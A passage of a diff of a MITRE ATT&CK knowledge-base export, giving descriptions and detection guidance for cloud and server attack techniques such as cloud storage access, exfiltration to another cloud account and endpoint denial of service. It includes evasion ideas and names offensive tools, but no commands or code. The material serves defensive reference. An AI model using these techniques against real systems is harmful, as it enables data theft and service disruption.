'https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide', 'description': 'Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.'}, {'source_name': 'Google Cloud Storage Best Practices, 2019', 'url': 'https://cloud.google.com/storage/docs/best-practices', 'description': 'Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.'}, {'source_name': 'Trend Micro S3 Exposed PII, 2017', 'url': 'https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia', 'description': 'Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.'}, {'source_name': 'Wired Magecart S3 Buckets, 2019', 'url': 'https://www.wired.com/story/magecart-amazon-cloud-hacks/', 'description': 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.'}, {'source_name': 'HIPAA Journal S3 Breach, 2017', 'url': 'https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/', 'description': 'HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.1,False,https://attack.mitre.org/techniques/T1530,mitre-attack,T1530,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Cloud Storage Object,"Adversaries may access data objects from improperly secured cloud storage. +Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.",['discovery'],https://attack.mitre.org/techniques/T1538,mitre-attack,T1538,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)",False,['User'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1530', 'external_id': 'T1530'}, {'source_name': 'Amazon S3 Security, 2019', 'description': 'Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/'}, {'source_name': 'Microsoft Azure Storage Security, 2019', 'description': 'Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide'}, {'source_name': 'Google Cloud Storage Best Practices, 2019', 'description': 'Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.', 'url': 'https://cloud.google.com/storage/docs/best-practices'}, {'source_name': 'Trend Micro S3 Exposed PII, 2017', 'description': 'Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.', 'url': 'https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia'}, {'source_name': 'Wired Magecart S3 Buckets, 2019', 'description': 'Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.', 'url': 'https://www.wired.com/story/magecart-amazon-cloud-hacks/'}, {'source_name': 'HIPAA Journal S3 Breach, 2017', 'description': 'HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.', 'url': 'https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/'}]",1.1,attack-pattern,attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T18:07:27.741Z,2021-03-08T10:33:01.374Z,Data from Cloud Storage Object,"Adversaries may access data objects from improperly secured cloud storage. Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) -Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.",attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7,attack-pattern,['collection'],2021-03-08T10:33:01.374Z,2019-08-30T18:07:27.741Z,"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",['Cloud Storage: Cloud Storage Access'],"['Netskope', 'Praetorian']",,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1578', 'url': 'https://attack.mitre.org/techniques/T1578'}, {'source_name': 'Mandiant M-Trends 2020', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1578,mitre-attack,T1578,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Modify Cloud Compute Infrastructure,"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. +Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.",['collection'],https://attack.mitre.org/techniques/T1530,mitre-attack,T1530,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Netskope', 'Praetorian']",['Cloud Storage: Cloud Storage Access'],,"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",False,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578', 'external_id': 'T1578'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}]",1.1,attack-pattern,attack-pattern--144e007b-e638-431d-a894-45d90c54ab90,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T18:03:05.864Z,2021-04-20T14:51:01.759Z,Modify Cloud Compute Infrastructure,"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. -Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",attack-pattern--144e007b-e638-431d-a894-45d90c54ab90,attack-pattern,['defense-evasion'],2021-04-20T14:51:01.759Z,2019-08-30T18:03:05.864Z,"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","['Instance: Instance Stop', 'Instance: Instance Start', 'Instance: Instance Creation', 'Instance: Instance Modification', 'Instance: Instance Deletion', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Deletion', 'Volume: Volume Creation', 'Volume: Volume Modification', 'Volume: Volume Deletion']",,,['User'],['IaaS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1537', 'url': 'https://attack.mitre.org/techniques/T1537'}, {'source_name': 'DOJ GRU Indictment Jul 2018', 'description': 'Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.', 'url': 'https://www.justice.gov/file/1080281/download'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.1,False,https://attack.mitre.org/techniques/T1537,mitre-attack,T1537,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Transfer Data to Cloud Account,"Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. +Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1578,mitre-attack,T1578,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Instance: Instance Stop', 'Instance: Instance Start', 'Instance: Instance Creation', 'Instance: Instance Modification', 'Instance: Instance Deletion', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Snapshot: Snapshot Deletion', 'Volume: Volume Creation', 'Volume: Volume Modification', 'Volume: Volume Deletion']",,"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",False,['User'],['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1537', 'external_id': 'T1537'}, {'source_name': 'DOJ GRU Indictment Jul 2018', 'description': 'Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.', 'url': 'https://www.justice.gov/file/1080281/download'}]",1.1,attack-pattern,attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T13:03:04.038Z,2021-03-08T10:33:01.280Z,Transfer Data to Cloud Account,"Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces. -Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6,attack-pattern,['exfiltration'],2021-03-08T10:33:01.280Z,2019-08-30T13:03:04.038Z,"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ","['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Modification', 'Cloud Storage: Cloud Storage Creation']",['Praetorian'],,['User'],['IaaS'],,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1526', 'url': 'https://attack.mitre.org/techniques/T1526'}, {'source_name': 'Azure - Resource Manager API', 'url': 'https://docs.microsoft.com/en-us/rest/api/resources/', 'description': 'Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.'}, {'source_name': 'Azure AD Graph API', 'url': 'https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview', 'description': 'Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.'}, {'source_name': 'Azure - Stormspotter', 'url': 'https://github.com/Azure/Stormspotter', 'description': 'Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.'}, {'source_name': 'GitHub Pacu', 'url': 'https://github.com/RhinoSecurityLabs/pacu', 'description': 'Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.2,False,https://attack.mitre.org/techniques/T1526,mitre-attack,T1526,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Cloud Service Discovery,"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. +Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018) ",['exfiltration'],https://attack.mitre.org/techniques/T1537,mitre-attack,T1537,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Modification', 'Cloud Storage: Cloud Storage Creation']",,"Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. ",False,['User'],['IaaS'],,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1526', 'external_id': 'T1526'}, {'source_name': 'Azure - Resource Manager API', 'description': 'Microsoft. (2019, May 20). Azure Resource Manager. Retrieved June 17, 2020.', 'url': 'https://docs.microsoft.com/en-us/rest/api/resources/'}, {'source_name': 'Azure AD Graph API', 'description': 'Microsoft. (2016, March 26). Operations overview | Graph API concepts. Retrieved June 18, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview'}, {'source_name': 'Azure - Stormspotter', 'description': 'Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June 17, 2020.', 'url': 'https://github.com/Azure/Stormspotter'}, {'source_name': 'GitHub Pacu', 'description': 'Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.', 'url': 'https://github.com/RhinoSecurityLabs/pacu'}]",1.2,attack-pattern,attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T13:01:10.120Z,2021-03-16T12:57:03.837Z,Cloud Service Discovery,"An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API) -Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)",attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db,attack-pattern,['discovery'],2021-03-16T12:57:03.837Z,2019-08-30T13:01:10.120Z,"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)",['discovery'],https://attack.mitre.org/techniques/T1526,mitre-attack,T1526,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Suzy Schapperle - Microsoft Azure Red Team', 'Praetorian']","['Cloud Service: Cloud Service Metadata', 'Cloud Service: Cloud Service Enumeration']",,"Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.","['Cloud Service: Cloud Service Metadata', 'Cloud Service: Cloud Service Enumeration']","['Suzy Schapperle - Microsoft Azure Red Team', 'Praetorian']",,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1505', 'url': 'https://attack.mitre.org/techniques/T1505'}, {'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'source_name': 'US-CERT Alert TA15-314A Web Shells'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.1,False,https://attack.mitre.org/techniques/T1505,mitre-attack,T1505,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Server Software Component,Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.,attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb,attack-pattern,['persistence'],2020-09-16T19:34:19.961Z,2019-06-28T17:52:07.296Z,"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. +Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.",False,['User'],"['Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Google Workspace']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1505', 'external_id': 'T1505'}, {'source_name': 'US-CERT Alert TA15-314A Web Shells', 'description': 'US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA15-314A'}]",1.2,attack-pattern,attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-06-28T17:52:07.296Z,2021-10-18T17:05:44.743Z,Server Software Component,Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.,['persistence'],https://attack.mitre.org/techniques/T1505,mitre-attack,T1505,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. -Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']",,,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1499', 'url': 'https://attack.mitre.org/techniques/T1499'}, {'external_id': 'CAPEC-227', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/227.html'}, {'external_id': 'CAPEC-131', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/131.html'}, {'external_id': 'CAPEC-130', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/130.html'}, {'external_id': 'CAPEC-125', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/125.html'}, {'source_name': 'FireEye OpPoisonedHandover February 2016', 'url': 'https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html', 'description': 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.'}, {'source_name': 'FSISAC FraudNetDoS September 2012', 'url': 'https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf', 'description': 'FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.'}, {'source_name': 'Symantec DDoS October 2014', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf', 'description': 'Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.'}, {'source_name': 'USNYAG IranianBotnet March 2016', 'url': 'https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged', 'description': 'Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.'}, {'source_name': 'ArsTechnica Great Firewall of China', 'url': 'https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/', 'description': 'Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.'}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,False,https://attack.mitre.org/techniques/T1499,mitre-attack,T1499,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Endpoint Denial of Service,"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) +Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ",False,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1499', 'external_id': 'T1499'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/227.html', 'external_id': 'CAPEC-227'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/131.html', 'external_id': 'CAPEC-131'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/130.html', 'external_id': 'CAPEC-130'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/125.html', 'external_id': 'CAPEC-125'}, {'source_name': 'FireEye OpPoisonedHandover February 2016', 'description': 'Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html'}, {'source_name': 'FSISAC FraudNetDoS September 2012', 'description': 'FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.', 'url': 'https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf'}, {'source_name': 'Symantec DDoS October 2014', 'description': 'Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf'}, {'source_name': 'USNYAG IranianBotnet March 2016', 'description': 'Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.', 'url': 'https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged'}, {'source_name': 'ArsTechnica Great Firewall of China', 'description': 'Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.', 'url': 'https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.1,attack-pattern,attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-04-18T11:00:55.862Z,2021-04-14T12:05:31.985Z,Endpoint Denial of Service,"Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). @@ -2707,17 +2937,17 @@ Botnets are commonly used to conduct DDoS attacks against networks and services. In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). -",attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4,attack-pattern,['impact'],2021-04-14T12:05:31.985Z,2019-04-18T11:00:55.862Z,"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. +",['impact'],https://attack.mitre.org/techniques/T1499,mitre-attack,T1499,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alfredo Oliveira, Trend Micro', 'David Fiser, @anu4is, Trend Micro', 'Magno Logan, @magnologan, Trend Micro', 'Vishwas Manral, McAfee', 'Yossi Weizman, Azure Defender Research Team']","['Sensor Health: Host 